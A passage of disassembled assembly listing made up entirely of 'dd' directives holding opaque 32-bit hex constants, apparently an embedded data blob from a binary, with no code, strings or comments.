		dd 0DA99EEBBh, 969B1886h, 0B27291D3h, 0FA841601h, 535A2B19h
		dd 0E07E0998h, 0B500925Eh
		dd 0CBAA3016h, 392F429Bh, 599506E3h, 0E00888Ch,	62C00BE8h
		dd 860048BEh, 0E522D83Ch, 5F24BDh, 0DD04AAD2h, 9B41189Ch
		dd 87BA7707h, 90CC40CBh, 58113088h, 81E63249h, 77B42D03h
		dd 0FFC347FDh, 0B8281750h, 1A3A3829h, 5E206BB0h, 9B148FD6h
		dd 0E120896Dh, 31828D0h, 596C4D18h, 79BD2D9h, 0C2E9D79h
		dd 6C6A189h, 77088C99h,	0C5204Ch, 0E5789D41h, 0B04D713Ch
		dd 51F29C04h, 5AC0E286h, 797CCFFh, 2EFF6C2h, 160D2032h
		dd 235DB4D1h, 0BE4B0428h, 38807A25h, 3257B944h,	0AA088C43h
		dd 0F01D8C49h, 7B31D07Ah, 6C16E0B5h, 5E7FC300h,	3BB0AD4Dh
		dd 6F283E8Dh, 842B01E9h, 65CCB614h, 0CCDE1D6Ch,	40337AB5h
		dd 14D8F121h, 23009449h, 4EC85558h, 31A6D8A9h, 0AA68100Ch
		dd 795E0068h, 84917459h, 81024146h, 7D84B514h, 0F2100131h
		dd 41031469h, 2800C6Ah,	0CC1900B3h, 0CD495DC0h,	0D00954B6h
		dd 15B57E1h, 0F944F1A0h, 0C209C052h, 7DC8308Fh,	0C2A119Dh
		dd 21D98CA9h, 9DA513C1h, 828F00E4h, 0F1DE2A5Fh,	21DF5130h
		dd 720D0806h, 6EAA0F9Ah, 0E4010427h, 0CA24D345h, 0A40CB8A1h
		dd 13405285h, 119D9430h, 88B10C29h, 9C80BC8Ah, 1E92B49Dh
		dd 650E7BA6h, 7A77596h,	805952E2h, 4EFB7C24h, 0F8DA00F1h
		dd 585F0FAEh, 0A3000704h, 0F41D164Ch, 4D255387h, 80908E5h
		dd 1830C8D1h, 7B717A29h, 18A6B498h, 1921C760h, 70E7A28h
		dd 8836CFDFh, 1BE3E0B3h, 0D6F0FB9Ah, 4ABF9B00h,	2D37587Dh
		dd 80C8A84Dh, 0AAD7C43h, 877916Fh, 8F465EBCh, 5189A139h
		dd 7C004775h, 6CC4C303h, 0AC8B7C07h, 0D9407FD6h, 0B875F3h
		dd 5BEA1EC8h, 1855110h,	0A600FBF6h, 139C6821h, 0C0B20580h
		dd 52ED1E99h, 28C96B89h, 83703h, 1E4C846Bh, 0E30F6A66h
		dd 86F133h, 8F5C65B2h, 6843495Eh, 0B3148B80h, 65438D84h
		dd 8C0E3D22h, 60C61413h, 0DBF5117Ah, 0EE280391h, 81CE5F49h
		dd 86DC7809h, 0FDA0B09Ch, 0FA890816h, 776437C1h, 16B49340h
		dd 8612F55Dh, 44415032h, 0F03AC2DEh, 0A5F11521h, 7A182848h
		dd 0C9FA2116h, 16AB94C0h, 2C64180Fh, 9C02B96Fh,	0BF6C0307h
		dd 0F1719006h, 45EC5692h, 825920E2h, 3D71D200h,	5D1DB2F9h
		dd 0A2EA02E0h, 848ABA10h, 8FE4C847h, 482D7E61h,	0A8014CE8h
		dd 0F709AB8Eh, 68FC3287h, 710C1464h, 65E89CBAh,	0CFC3508Ch
		dd 0C4575E0h, 7496C69Ah, 6AEA8821h, 0BFD80218h,	70CFE8h
		dd 485FFAFBh, 0B0381AF5h, 5857E600h, 0B2DEFE01h, 69E80761h
		dd 5016147Dh, 5C0A597Fh, 42117C99h, 0FC148680h,	6543B584h
		dd 8B0E6822h, 4640146Eh, 917859h, 339D37FEh, 0DD6AB4F7h
		dd 2C00D8A4h, 0C1DE94D3h, 4A6CD35h, 0C2D887DAh,	0B100C8D1h
		dd 7A2C028Ch, 0B93C7B7Eh, 1013CB19h, 0DD4D7AC8h, 74F09A01h
		dd 4CDCFCB6h, 80CA4891h, 7B817A3Fh, 0C03CB134h,	3D7A361Fh
		dd 0C852F12Ah, 0C213E9F8h, 905F4EDEh, 36D58606h, 0C43085A9h
		dd 884263A9h, 2A6C020Ch, 15888068h, 0A4570179h,	0B7E0EE01h
		dd 70FB1F59h, 19C04C78h, 2CAB0BCBh, 0FC80B235h,	3A5A10CDh
		dd 23B50D4Dh, 0DD4089F4h, 1F39997Ch, 18D94C96h,	0DCD2C150h
		dd 5A8B7D0Ch, 0DF5975h,	0B928BF41h, 807185C1h, 0CB9D9500h
		dd 687CD18Dh, 66D63AA4h, 0DA6C1786h, 5CA14993h,	8FC1841h
		dd 0A9FA8216h, 384476C4h, 80E083CFh, 518C8884h,	9A5A4300h
		dd 11A6DE90h, 89DD0074h, 0D35F0B63h, 0F4016A07h, 31622399h
		dd 108006C7h, 9B0460B1h, 0F900870Bh, 0BF4D92D7h, 1DF57A71h
		dd 0C67F362Bh, 31A0C36Ch, 7E27192Dh, 3B01CBEh, 0B8BA0D10h
		dd 21340830h, 23761A4h,	484DC0DEh, 0D7E0EAD1h, 0A35C3B68h
		dd 5B8860FFh, 3D88CEh, 24ED5DD9h, 7A7D8CDDh, 0BDBE3B00h
		dd 9C15D639h, 910F3AD3h, 0C724D180h, 0A3B64D89h, 6D359400h
		dd 0A7738B1Ch, 2A8E03F1h, 1934232Dh, 62A500B7h,	11007BB8h
		dd 0D37CA655h, 708F096h, 7845751h, 76D010C6h, 0AD002A56h
		dd 0AE0111A5h, 7945821h, 120F9EF3h, 1CE5609Fh, 0CC0054DEh
		dd 0AC9BF024h, 9C69F1h,	23342742h, 0EA091548h, 631F9000h
		dd 0F3E3FAA7h, 642E00A4h, 5034E52h, 5897D61Ch, 78980016h
		dd 6AA7844Ah, 0BC00C9E4h, 70A3B74Ch, 0EB85D1h, 3C47836Fh
		dd 5179D0CEh, 64ECFC01h, 4E95B4B1h, 605203E0h, 0BDB5C166h
		dd 20008F6Bh, 0E9997F89h, 7C7450DCh, 0D23300ADh, 0AE533573h
		dd 55792E52h, 0BE5F230Ch, 39078010h, 1C0AA6BCh,	7A072FDh
		dd 0B02CA97Dh, 0A898DADBh, 811AAE60h, 1C06E9h, 33B217ACh
		dd 16AF0287h, 91407C00h, 72F11E05h, 0A5843988h,	3D4EF00h
		dd 0A1C4E97Ah, 86EEBC00h, 536B057Ch, 18A0A8D7h,	49C70013h
		dd 2F6DB81Ch, 830C557Ah, 40801604h, 0F1F603C2h,	7F2E9184h
		dd 146A8588h, 8A8E5001h, 102596F5h, 0FB358050h,	3E280044h
		dd 8A1DEA3Dh, 0A0ABD5E7h, 367805E8h, 101FB98h, 6F732D18h
		dd 0C05033F4h, 72E47795h, 0C6F30F32h, 860704Dh,	0F558DF2Bh
		dd 0FA8F400h, 2C26EEBFh, 360418BAh, 6614400Bh, 0F6807600h
		dd 601A6C5h, 5BD8074Bh,	0CE75FAEFh, 3C3AC0BEh, 1F51CD9Bh
		dd 0F0FB3B14h, 0D1CC1CA0h, 0FE814158h, 19A0019h, 0C847FB45h
		dd 801F6393h, 0C0B02D91h, 0EE716F9Bh, 3507EBDh,	0C957B8BFh
		dd 0BE43F14h, 32448007h, 0EDCF8ACh, 8FD07E9Ah, 0E2DEDB03h
		dd 9D0F4003h, 90AAA010h, 5AE1A4h, 0A3745842h, 960868EFh
		dd 0AD0DD900h, 39D1BF97h, 89E53D0Ah, 0A9467A00h, 77484E53h
		dd 0B5272400h, 90F45EE9h, 528F3B1Dh, 3F941080h,	47CA0DDFh
		dd 5D97BB00h, 56C059BFh, 61E01C79h, 0FFECC087h,	1C07F1CEh
		dd 0F7CA880Eh, 0E33D40DCh, 0A0C60F86h, 0E845A0h, 53C7B351h
		dd 95D2D5E2h, 18B13C01h, 1769420Dh, 141430h, 0D19DC673h
		dd 0E9760583h, 5208D366h, 0B2CB021h, 0B8C781C6h, 39E19E80h
		dd 0E9737009h, 2F971400h, 0D669919Bh, 7A6A39D1h, 6CB0FF84h
		dd 9C68D8CAh, 2371373Eh, 6511C8h, 8A37C47Dh, 0FA2C97A1h
		dd 0D66E030Fh, 88F79642h, 0F54301C8h, 23161900h, 60A4E377h
		dd 6BE1431h, 0F7C88A6h,	0ADCF330Dh, 51B250F8h, 91B86001h
		dd 0D444DDD3h, 0BE22FCh, 701247ABh, 0B2B03986h,	1DF420C7h
		dd 0D0C7BAF1h, 0F311204Eh, 0D83A9247h, 8D076523h, 2F405374h
		dd 5CC283CEh, 0DF0412EFh, 0C385EE94h, 30A691CCh, 0ADBF0700h
		dd 96920B8Ah, 4432CC7h,	0F04F005Eh, 8C116115h, 0EE027B98h
		dd 3C94DCE5h, 0B4888164h, 4C48C66Ch, 75370898h,	33C4A8B0h
		dd 37607940h, 0F5713A90h, 270C1CB2h, 5089EC3Dh,	0C4A114B1h
		dd 331D84B9h, 1856988Ch, 40CAC25Ah, 465638B5h, 162A0120h
		dd 0A8F963EAh, 2419BF0h, 0A2F52554h, 3C444362h,	8DA3Dh
		dd 3AE9824Eh, 175E1h, 0BBE8B9D8h, 4B92FB89h, 0D4D1AC01h
		dd 140C6C40h, 14F740A4h, 0F501DAE7h, 0A4F7227Ah, 0E1F456BAh
		dd 0A18A212h, 0C6728060h, 0DBD123B4h, 29310318h, 3EC60989h
		dd 0E1031392h, 60A6CDA7h, 0D2BDC018h, 0E188A359h, 0B4901983h
		dd 90030951h, 9189F4ACh, 4A290177h, 0A3405B2Ch,	0EB62F81Fh
		dd 212109CCh, 5BC407AAh, 225A526Dh, 3080D190h, 0BF014746h
		dd 0A1ACC0C0h, 921424h,	9FFFDFD3h, 0E9FC8528h, 0A8EDCC00h
		dd 53C16D5Eh, 9899E0CFh, 750F1E4Ch, 728A8052h, 0C3315AAFh
		dd 42A7561Ch, 0FE90FA00h, 39896532h, 1603CA34h,	52D70E9Ah
		dd 60F4AB88h, 68FBA701h
		dd 0A2418F5Fh, 6949D8h,	0D26290FCh, 16BBF363h, 1D68E1Fh
		dd 9D2D4400h, 0FBE0ECh,	0BD0705Fh, 96B8204Eh, 32C00F00h
		dd 3DAD8544h, 55300BBh,	82845826h, 1D13C42Eh, 39009D1Ch
		dd 0FC1F632Ah, 27A40008h, 9B26A528h, 0E20732D9h, 31579751h
		dd 0A4E03797h, 3740D56h, 6205BDC2h, 6DC082D4h, 5A017281h
		dd 76BF2579h, 8BDCAC6Eh, 0B4DB2CDCh, 0B8C201E1h, 0D448510Dh
		dd 0CB38B1DFh, 24A28F63h, 318383B9h, 1B59184Dh,	55B808F2h
		dd 0C4C1AA00h, 0D2520E19h, 67763Bh, 1E8ABFCAh, 4C78137Dh
		dd 0C1BAB300h, 0B10F4FA3h, 7468C0B0h, 0F68A86F7h, 5A00F5F4h
		dd 8B7910A6h, 32E830Eh,	3CE7BB22h, 7A988C55h, 52001E68h
		dd 50E324AAh, 716A71DCh, 58D7002Dh, 0C2AF316h, 1E06A180h
		dd 95A3851h, 0F3500C0h,	0F8642984h, 3A035F92h, 1BB78E76h
		dd 0E275B808h, 0B20E006Ch, 85DC8CB1h, 0C30F3789h, 0A0CDB93Dh
		dd 0F552E4A2h, 0C2E8DDh, 8FD64374h, 6EBCA4DCh, 0AC008B7Eh
		dd 69CCA581h, 0CF530FDAh, 4942710h, 0BE1BB0BAh,	3410CED0h
		dd 0A919B520h, 3100EC6Eh, 0F3185C86h, 76254CC3h, 0A102031Bh
		dd 0B017356Ah, 8302921h, 1490C477h, 1A012D82h, 2230D402h
		dd 0D022C2C7h, 0E472203h, 28041825h, 0CC4C8B3Bh, 0AC038929h
		dd 28D1921Eh, 0CBC0ECECh, 689A26h, 6C8765Ch, 677B345Fh
		dd 8A094501h, 7F2C78D9h, 0D1CDE4h, 4D3BB8D7h, 3117C00Eh
		dd 8400A275h, 97F43F90h, 0BF656F2h, 80C96948h, 0FD608A0Eh
		dd 7EAB4ED7h, 44F54200h, 152B6BE1h, 0D17600A4h,	451A2507h
		dd 0EB733483h, 98F4DD0Eh, 0F30843FBh, 5C28E056h, 0A4CB002Bh
		dd 1A959112h, 5092FBF6h, 18337400h, 30AA669Ch, 0F29400F4h
		dd 1743E024h, 1072F008h, 75AE7607h, 42003991h, 0CAF3F53h
		dd 0CB370D48h, 0D9EA2EA9h, 157A080h, 5F0FB978h,	4020D2C7h
		dd 0F2B149F0h, 0D7B78309h, 0DDBC80F5h, 0C023145Dh, 9CA3D9E0h
		dd 530097FAh, 8D35C649h, 704CD7Ch, 0DCCE4FF1h, 0DA86107Ah
		dd 2E01E831h, 8BC155FCh, 4ECC301Bh, 0FF041E6Dh,	0C8E10FC7h
		dd 6A98001Ch, 0AB3F4AB7h, 0CE65800h, 25C48196h,	0E7130083h
		dd 3D4355E4h, 187C0BD5h, 0A59E0100h, 0D3A1C6ECh, 42DC035Fh
		dd 5D8FBA84h, 8331E1A8h, 1D97AA03h, 90A34419h, 0F4A76Ah
		dd 63D5FC84h, 8DD05512h, 1C315E01h, 0CFFDA9E1h,	7C2402D0h
		dd 0B52C00D1h, 6FDDE2AFh, 7400383Ah, 90980FFCh,	9092AE9Ch
		dd 0FDC50080h, 0B0ADDEA8h, 700AF4Ah, 64735F60h,	1FA3AC0Ch
		dd 0C054E1DBh, 0CC6E5599h, 0B6007982h, 0A6B02C19h, 24F4F8DDh
		dd 0E3BC031h, 0A3A0D1D2h, 0CADA1E0Eh, 742D8C00h, 5DC8D073h
		dd 71BC00CBh, 7EF650EBh, 26E6FCC0h, 930D9D28h, 9FD4933Dh
		dd 3A002203h, 98D88761h, 0C7FA0341h, 9905B548h,	0B181CBA8h
		dd 36E40C03h, 800E2A88h, 18ED2025h, 0CC6B0531h,	74E2FE95h
		dd 4C214D00h, 0EFB0DFC7h, 0ADE200E6h, 35E7904Bh, 0AE50150Ch
		dd 64005A80h, 0A15D8955h, 1988FF08h, 40092213h,	1620C072h
		dd 0E30058F4h, 25C8425Ch, 0FEFC3A4h, 0A6BCB4E7h, 97373DA0h
		dd 9800D9A9h, 52860B94h, 61AE2445h, 7642B9ABh, 36F20080h
		dd 83F70057h, 961BDFBCh, 0D800527Eh, 5D2A0D70h,	67C5D6h
		dd 9C55F709h, 7220BD06h, 0B700127Fh, 0DC754A9Ah, 0EE3F4h
		dd 0A14096A0h, 5DF54C3Fh, 0EC699F00h, 0BC558A2h, 7C2DF449h
		dd 0D8B20022h, 14D3C1DAh, 1A00E1C7h, 55E505AEh,	3DD081F4h
		dd 0ED0F7F4Fh, 0FB234A86h, 0DAB82B0Fh, 90A095ECh, 9872EE15h
		dd 38017D7Ch, 8F10163Fh, 0E0203603h, 9F2A0033h,	85483D04h
		dd 720EDCBEh, 0A549C629h, 7CC3F64Fh, 56D08024h,	8C620434h
		dd 801573B0h, 1DFB3A10h, 4D988h, 5A16CC29h, 300CF18Ah
		dd 0FA3C4F00h, 0D9C91085h, 0CA5162FEh, 2C608AAAh, 7A1D63C2h
		dd 0FDC4993Bh, 80D3CB24h, 0EF09E026h, 0C39B12A0h, 235000DFh
		dd 7D0F650Dh, 0BBEBA300h, 0B07664DAh, 0AF83004Dh, 2AB81712h
		dd 1D01BC0Dh, 5678CEA0h, 0AA307A27h, 45963DEEh,	0EF1C3080h
		dd 0EADA55AEh, 6D004F70h, 0C9985708h, 0F602B0h,	85DF8FCEh
		dd 21E7AB66h, 60035F7Bh, 90C8F092h, 0B13D9977h,	0FDFCD4h
		dd 8262A31Ch, 0B51BDD33h, 8D0EE6F8h, 81268BCFh,	793B5036h
		dd 0F0E77DD1h, 7D0E2208h, 0D576006Bh, 55C11FE2h, 1B00154Ch
		dd 96D92336h, 0F4EC38F5h, 74060065h, 7C4F2A61h,	0FF034829h
		dd 136989A4h, 0F55F80ABh, 37AF003Ah, 9B5AE182h,	0D4036FA9h
		dd 0AC93ED8Ch, 4B113DA5h, 0A637A00h, 0E61F6431h, 0A7320800h
		dd 7BE7F1BBh, 0E49850h,	36F33CA1h, 25C9B904h, 0ECF2770Fh
		dd 9534A3FEh, 270F8A2h,	19E7007Ah, 8B0A016h, 0C7008890h
		dd 0DB6BCDEEh, 3E4D1052h, 4B00E33Bh, 0E87AE1B0h, 0CF2CEA67h
		dd 0FC400C99h, 350DADDh, 0A836CCE4h, 0D9D24F66h, 0A140DC8Eh
		dd 0E9CA3C1Ah, 0AD4C6705h, 6680E6AEh, 0D3A9E65h, 975D062Ah
		dd 2077D121h, 6C032140h, 10517EA1h, 7AD5A8E7h, 1154072Bh
		dd 0A0FD5371h, 287F9A23h, 84A948h, 2A146899h, 0E2BC60E1h
		dd 0A32300CAh, 9298B9C2h, 66008F1Ah, 26C37A86h,	1CEE5738h
		dd 4018449Eh, 2BEAD1E9h, 54749C7Dh, 8504900h, 1D2A8E8Dh
		dd 59BE1DDAh, 120DC782h, 97057486h, 108B6048h, 0D3031347h
		dd 1B9D702Fh, 88BDC027h, 0B6F44Ch, 79D9CEA7h, 56EDB2AFh
		dd 0A30D0500h, 9D7CC12Ch, 1F833F80h, 0A64CB400h, 7A1E8C34h
		dd 6E820100h, 0C188DAC4h, 2E27B0DBh, 28049F74h,	3EA7004Ch
		dd 23B88BC7h, 73070D2Fh, 0F7773298h, 0AE501D70h, 67EA0099h
		dd 0E605E537h, 0A209AC90h, 0D8A4927Eh, 81C21396h, 449C0062h
		dd 61AC4CB9h, 5CE07B01h, 0E45E7AAFh, 0BA3545C0h, 1F14F0C0h
		dd 0C4045D79h, 0D3E36154h, 26D83DC4h, 0DA00B16Bh, 6CF9F08Bh
		dd 0C038BA57h, 4199D121h, 87028960h, 0B9CAC2E6h, 0B8B46028h
		dd 0EE0403DEh, 920806E4h, 7AB070DFh, 7600E020h,	380CABEh
		dd 18714954h, 88C390A3h, 0F40F6552h, 5ADAB22h, 3283B5F6h
		dd 4B41F0BDh, 0F0964C84h, 5028C300h, 22AA6DD4h,	0B4D1F900h
		dd 3D0BBA19h, 45B11E92h, 0F251819Eh, 0E01BFC2Fh, 29005B8Bh
		dd 7FFA8CE5h, 25064Bh, 503FDFBEh, 85BAE39Bh, 707E4409h
		dd 5C005FEBh, 6C3AB42Dh, 0A4005477h, 1DBEBFCCh,	0A870B1h
		dd 0EEC8AFFAh, 18D820Ch, 8054AC39h, 598636E7h, 65A0FBh
		dd 2B796446h, 8E24919Ch, 0D843A614h, 0F3900F2h,	0F3882E47h
		dd 0B06E7823h, 3BD43DD7h, 8EDFAD00h, 0CC7B75FCh, 0B1350201h
		dd 0EA6F7252h, 0EC489050h, 91D13C5Eh, 2652107h,	28D33092h
		dd 900B533h, 0A2CB986Bh, 5A86D8h, 6E919949h, 28D30BEh
		dd 0F978971Dh, 0D8AECE40h, 244EE3F1h, 3CDC46h, 0F694B2D7h
		dd 0BA00F548h, 0EE5F7F7Ch, 0E8E7281h, 85B82507h, 9D4F6F40h
		dd 1300A39Eh, 6C93E7FFh, 0C0E19988h, 7B19A9A0h,	745DB077h
		dd 0CA92285Ch, 41D34A0Bh, 0B7AE006Ah, 96B4B9h, 8F1EE70Ah
		dd 43888ED4h, 94296000h, 9C64ED77h, 0B8DF05F9h,	800CDE3Ch
		dd 41486E54h, 5D007477h, 0CE370ACCh, 7BE5C58h, 390266EEh
		dd 0ED57FAh, 0E0972E2Fh, 0AF7D6E00h, 7CF30626h,	248F0160h
		dd 0F1432A18h, 4B7C2479h, 2E603CB9h, 0A6D550h, 0BC16B88Eh
		dd 45863DD9h, 59F33F00h, 3CE5C3B0h, 742C487Fh, 0F1827907h
		dd 88EA3208h, 0C8C09480h, 0DFB086D0h, 4AAF300h,	3C4B637Ch
		dd 2ED93BD4h, 6DA3CF00h
		dd 3334C5E4h, 55F22200h, 957B9B91h, 0F46850E8h,	0EF16040Ah
		dd 804E4CB3h, 0EC83197Bh, 1B008092h, 8C9D0C80h,	0F16493h
		dd 27D17A10h, 6F2EC203h, 66288F00h, 8B0D67D6h, 9C4F05EBh
		dd 0C1D71A2Ch, 2074F55Ch, 170D4E32h, 19389039h,	0BCF680DBh
		dd 0C2200110h, 9589315h, 57713022h, 9DA4049Fh, 97E290C8h
		dd 4EA56140h, 85C9A18h,	7D2CCB70h, 11F00031h, 42AAF269h
		dd 0D8003FD3h, 0E8C98EA5h, 765D6B28h, 16DEEA80h, 0EF7190h
		dd 0F4409B5Dh, 2207CFEEh, 6E6C0CF6h, 0CD4E7A80h, 0EAF011h
		dd 0C5A26972h, 0AFE735EEh, 0D10BC400h, 0F16E0DEBh, 73603B50h
		dd 0D7E94780h, 0C615851Eh, 874BBD00h, 0FFC5F32Eh, 5E61C1Bh
		dd 17AFE814h, 30536F63h, 4822EC24h, 0F2D16800h,	0B9BC8679h
		dd 0A76B00FAh, 0B7A49EE4h, 6F3CA13Eh, 9DA90721h, 5140D773h
		dd 94BD677h, 89CE577Ch,	0AABEA980h, 0EF33709Dh,	0B875BCD5h
		dd 1EF27Dh, 0BBCBB5A4h,	539CFE5Ah, 874E3A00h, 0DC9F96E9h
		dd 9E06078Bh, 43DE3F99h, 0B9F1B834h, 0C963D4B6h, 0D332CC00h
		dd 0A665B53Ch, 3BBC0068h, 22FBEEBAh, 971E188Bh,	0FCC02F01h
		dd 32883F0Eh, 73BA483Eh, 1C126A2Ch, 0B8E00052h,	76C7254Fh
		dd 7F65C800h, 0E1D70AF6h, 48D51CD9h, 75328h, 0EDADA224h
		dd 45FC317Eh, 119C7000h, 963B6BA9h, 81B738D4h, 8C238E80h
		dd 0D6DEAADAh, 49020107h, 97503CE3h, 3632DF9h, 0E8409546h
		dd 0FD98BD85h, 2407A339h, 2E1DE20h, 2CADB7E0h, 0FBEB00B5h
		dd 0B30109B2h, 92073981h, 0DEF1459Fh, 5ADAD900h, 0FB4200A4h
		dd 27E4C9DFh, 0E9079D81h, 2F695BE6h, 0E3D4B8C0h, 5CE21C0Ah
		dd 49EE4073h, 960FD39Eh, 95FC1E00h, 6F1A06B8h, 0CB1700E0h
		dd 0EC4A47A8h, 54031383h, 5E3EF67Bh, 8893F08Fh,	3A511737h
		dd 0E8CB00BCh, 0A3D3816h, 0FE588E26h, 86B65400h, 32E68D1h
		dd 6C8C1171h, 688D985h,	9390BD7Eh, 0B8134A1Ch, 15956486h
		dd 0AC514C19h, 0B1005458h, 0ADE7B525h, 8B005B1Dh, 39387C49h
		dd 9AF89764h, 30624100h, 0E400CE7Ch, 0B9075B5Ah, 0F0178Dh
		dd 6E9AF410h, 6C78F2A9h, 0DC8EB303h, 0F8D9CB2Fh, 2CAD0h
		dd 5F0FBADEh, 0FB673EB2h, 1E65AB00h, 2A9E3C2Ch,	0FCAC0352h
		dd 7E69F766h, 5203805h,	8083A9h, 0EC56BBFAh, 73AB00DBh
		dd 3AD23BB7h, 0A3002EAAh, 0B44A76Eh, 39D8A9CFh,	0BF00EA21h
		dd 0BEF77429h, 0FB006B97h, 0FE5D7703h, 158156Fh, 0E5E4D4A7h
		dd 30F70749h, 500FF60h,	0CB7611E1h, 0B82382h, 866418D8h
		dd 4B77755Fh, 0CE428C00h, 5980D2Bh, 62D206FFh, 117DA9AAh
		dd 1104AD7Dh, 5615182Fh, 99FC7C80h, 0F40600A0h,	9FDC5880h
		dd 8100CBC5h, 0C3252359h, 5D9210h, 52FF5E96h, 0B345C158h
		dd 98D87E0Fh, 0C0CE0F53h, 79D0CACCh, 87BF004Eh,	8C92177Dh
		dd 5B72A0B9h, 0B1855E1Fh, 0DA67B300h, 0B82007h,	0F729E8C8h
		dd 14264DECh, 0C988911Ch, 0F11DF8Eh, 0A9FC0069h, 62B6D0h
		dd 76E83673h, 7FBC85Ah,	7843EF00h, 0F7B04788h, 0BB83001Dh
		dd 6B724DE5h, 1C2E7784h, 918C8443h, 0B4C66Ch, 0E5543968h
		dd 71C25D02h, 92C60300h, 6A335F63h, 90C97E77h, 0EF3900F4h
		dd 0DD5DD757h, 8203ED1Bh, 940B3D60h, 0F140C0E0h, 67E80E74h
		dd 0B18F7F9Ah, 2C84800Bh, 9C82FA08h, 0E188C8E7h, 32AD00A9h
		dd 294759E9h, 10E87102h, 6A49F00Bh, 0FA7800C2h,	0C43250h
		dd 1ADCEE8Dh, 1673CAB7h, 5C0008B0h, 9064C67Ah, 509B1F5h
		dd 2E4A11A5h, 0E7E0C29Ch, 0C7693CC0h, 8298AA3Dh, 402884BBh
		dd 580CD893h, 8700F88Eh, 0D0ACEBEh, 460058F7h, 991A2F28h
		dd 0E036EBBh, 79528065h, 82CC33E0h, 70960437h, 2B1F9907h
		dd 0EAFECA80h, 78983873h, 0AF54A000h, 1FE91B21h, 77005BFCh
		dd 1271BE0Ch, 0EB24309h, 45705E7h, 0D5819DEFh, 0D4F16C29h
		dd 0E8A0AE40h, 0CA00D495h, 0D7C25F06h, 3BF4A2B8h, 3A032A26h
		dd 0F699D1C1h, 898DC9C8h, 107504Ch, 0B4F50F13h,	0E841C584h
		dd 10E0ED27h, 48B52586h, 87675C80h, 150F0DBBh, 0C062EB94h
		dd 6D3055DCh, 2B140075h, 35F19E7Fh, 85000E48h, 0CDB9CCA0h
		dd 14A1C6Eh, 2EEB6889h,	7002DA1Dh, 0F89E7B50h, 0B7941F07h
		dd 593DF570h, 16672788h, 4AACCC38h, 2A804003h, 80DD028Dh
		dd 0E9F1530h, 0F6BB8CF0h, 0A2966E0h, 89248811h,	0C2001C7Dh
		dd 9623AE14h, 4D991D74h, 0C1C3802Ch, 877662C5h,	2ACF2F09h
		dd 0ED8C00EBh, 16ED848h, 2909D767h, 0CC3678A0h,	0A2A09184h
		dd 0FB909A92h, 0FBE14E01h, 6837137Ch, 127E20h, 45A54CDBh
		dd 0E9213D92h, 0AD00EDFCh, 0AB285788h, 0E4777451h, 0F9FC42h
		dd 71F71EEh, 0E026DFA9h, 0E42B9900h, 256B9A5Eh,	0BFAA006Eh
		dd 8786A8F7h, 0ECBABB38h, 49F83930h, 58B33B73h,	4682BC4Eh
		dd 0D8A0AEFDh, 0A2BED122h, 0AC84F313h, 0CC53C840h, 3CA056h
		dd 0DB691573h, 0EEEBA774h, 0A2911100h, 0A3871EF0h, 1FC402CEh
		dd 0BDC0F671h, 9955C0DFh, 0FFA0116h, 3B31153h, 21B0619Bh
		dd 8CABE1FCh, 21CC9E10h, 3EF0BBh, 191BED47h, 0E5324EA9h
		dd 0A4AD9900h, 7CDDE197h, 0E8C0016Dh, 80DC564Bh, 0F06C0Ah
		dd 0CF12CA2Ah, 6CC0557Ch, 271820E6h, 7A403565h,	6AC340C7h
		dd 0D3190D4Fh, 8788CC6Eh, 0D88623E6h, 0CDC08ECh, 0E050AF4Dh
		dd 0AD215228h, 0D70B09CDh, 36641B80h, 0E9395C86h, 46380705h
		dd 0F0800E89h, 4958E1h,	50A52C5Ah, 68A91A08h, 4D6A6603h
		dd 0C097AB1Fh, 7F3C90Eh, 0E4805DB6h, 3792E03Eh,	0E700CD26h
		dd 65082203h, 0DF8CFFh,	1CCE0B75h, 0D9B64467h, 3F07967Dh
		dd 0EE5B0A07h, 0DD41CF60h, 0BBA5049Ah, 0D7B56EACh, 9C8D128h
		dd 0B84C7CAFh, 0F204A6Eh, 780517Ch, 79A77A65h, 0DCA09400h
		dd 0C431EF9Bh, 21D03C05h, 3AAA7380h, 0C010260Ah, 962FF804h
		dd 0CA800E9Ah, 16A043AEh, 215AE312h, 0E84124h, 7BBC283Fh
		dd 0B06100F2h, 0C5A4DC1Ah, 0BA0009D9h, 0F84F05E8h, 7E9F9154h
		dd 0BB4E0Bh, 4E4B5388h,	0B1798B96h, 2A7CE80Fh, 0E2D1A0FAh
		dd 3279D39h, 2ED8D9DAh,	50C093FCh, 0AD00E519h, 0B176A142h
		dd 1244B64h, 0FEA66AE3h, 0D48413D9h, 0C101B068h, 0E4EF77B9h
		dd 8F605BC8h, 0F7CF004Ch, 0D43E6273h, 0DA1F47DEh, 500170C4h
		dd 0CC66198Bh, 0E754C0h, 723D832Fh, 646F82C1h, 0E914D40Eh
		dd 0C0B6E071h, 0CFA074D7h, 62C05C52h, 3D5042E0h, 8D0F2C13h
		dd 0BE38F618h, 0FF4C00F1h, 0FEE56F92h, 533A6CAAh, 0DAE48AF7h
		dd 239ED02Eh, 0A2004853h, 25F14F46h, 5BA73B76h,	0F4809FADh
		dd 0ED6B7CFCh, 1021C102h, 0A065CFB7h, 0F0B1A1ECh, 0C94A51h
		dd 9FE5B2C4h, 6B72DF86h, 7BD9E100h, 0BA08AB8Fh,	0FC07332h
		dd 0F60B7F29h, 7A669E20h, 27127525h, 0FEA235Ch,	64E6DB88h
		dd 44000672h, 7655E531h, 0AF8670h, 0A65E0F7Bh, 3C50B822h
		dd 0F543F60Eh, 0F72D80B5h, 2C364CBBh, 0BFB8F392h, 7131E000h
		dd 31AF5A3h, 98652B13h,	0D4A8644Ah, 0DBC94E00h,	0A0C3B03Bh
		dd 0FFA76C80h, 3E000C38h, 0F7B9EEA1h, 0E800F82Bh, 211EE6D0h
		dd 0FADE79h, 94F5D61Dh,	611B352Ah, 51788C14h, 737216A8h
		dd 0EAFF1800h, 1C6CC283h, 5B39FCh, 63A1024Dh, 0A0BEC58Dh
		dd 2641DC40h, 19B7037Dh, 9573FCDFh, 0E93802Dh, 0A0E4EEC8h
		dd 7B82597Fh, 2A3F2C4Fh, 2550060h, 0C7BF7A0Bh, 22084C07h
		dd 46410359h, 0A4E04E1Bh, 0DDEF0E82h, 5120F4A6h, 0F6E46D62h
		dd 9F2B8A07h, 0C13F803Dh
		dd 0ED54A374h, 211F9428h, 0B6A70009h, 0DFBCD10Ah, 0F37B0E00h
		dd 96E00507h, 77FB0006h, 0D27D4D82h, 0AB01506Bh, 0D917A2C3h
		dd 41E926E3h, 2FEB1820h, 92F67521h, 72001029h, 0FF046F27h
		dd 53870088h, 172AC2D4h, 90042D1h, 0BF95507h, 0E0A4A96Dh
		dd 0ACB10091h, 2DD25F58h, 0EF61A2F5h, 6B7F3F8h,	3F98A8FCh
